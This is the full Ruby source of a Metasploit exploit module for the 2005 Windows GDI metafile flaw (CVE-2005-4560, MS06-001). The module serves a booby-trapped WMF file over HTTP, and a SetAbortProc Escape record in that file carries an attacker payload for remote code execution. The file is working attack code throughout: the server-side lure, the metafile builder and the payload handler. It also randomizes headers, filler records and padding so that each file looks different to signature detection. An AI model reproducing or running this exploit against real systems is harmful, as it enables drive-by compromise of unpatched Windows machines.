## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution', 'Description' => %q{ This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', 'san ', 'O600KO78RUS@unknown.ru', ], 'References' => [ ['CVE', '2005-4560'], ['OSVDB', '21987'], ['MSB', 'MS06-001'], ['BID', '16074'], ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000 + (rand(256).to_i * 4), 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP/2003/Vista Automatic', {}], ], 'DisclosureDate' => '2005-12-27', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) end def on_request_uri(cli, request) ext = 'wmf' if (not request.uri.match(/\.wmf$/i)) if ("/" == get_resource[-1, 1]) wmf_uri = get_resource[0, get_resource.length - 1] else wmf_uri = get_resource end wmf_uri << "/" + rand_text_alphanumeric(rand(80) + 16) + "." + ext html = "One second please..." send_response_html(cli, html) return end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name}") # Transmit the compressed response to the client send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' }) # Handle the payload handler(cli) end def generate_metafile(payload) # Minimal length values before and after the Escape record pre_mlen = 1440 + rand(8192) suf_mlen = 128 + rand(8192) # Track the number of generated records fill = 0 # The prefix and suffix buffers pre_buff = '' suf_buff = '' # Generate the prefix while (pre_buff.length < pre_mlen) pre_buff << generate_record() fill += 1 end # Generate the suffix while (suf_buff.length < suf_mlen) suf_buff << generate_record() fill += 1 end clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length data = # # WindowsMetaHeader # [ # WORD FileType; /* Type of metafile (1=memory, 2=disk) */ rand(2) + 1, # WORD HeaderSize; /* Size of header in WORDS (always 9) */ 9, # WORD Version; /* Version of Microsoft Windows used */ (rand(2).to_i == 1 ? 0x0300 : 0x0100), # DWORD FileSize; /* Total size of the metafile in WORDs */ clen / 2, # WORD NumOfObjects; /* Number of objects in the file */ rand(0xffff), # DWORD MaxRecordSize; /* The size of largest record in WORDs */ rand(0xffffffff), # WORD NumOfParams; /* Not Used (always 0) */ rand(0xffff), ].pack('vvvVvVv') + # # Filler data # pre_buff + # # StandardMetaRecord - Escape() # [ # DWORD Size; /* Total size of the record in WORDs */ 4, # WORD Function; /* Function number (defined in WINDOWS.H) */ (rand(256).to_i << 8) + 0x26, # WORD Parameters[]; /* Parameter values passed to function */ 9, ].pack('Vvv') + payload.encoded + # # Filler data # suf_buff + # # Complete the stream # [3, 0].pack('Vv') + # # Some extra fun padding # rand_text(rand(16384) + 1024) return data end def generate_record type = rand(3) case type when 0 # CreatePenIndirect return [8, 0x02fa].pack('Vv') + rand_text(10) when 1 # CreateBrushIndirect return [7, 0x02fc].pack('Vv') + rand_text(8) else # Rectangle return [7, 0x041b].pack('Vv') + rand_text(8) end end end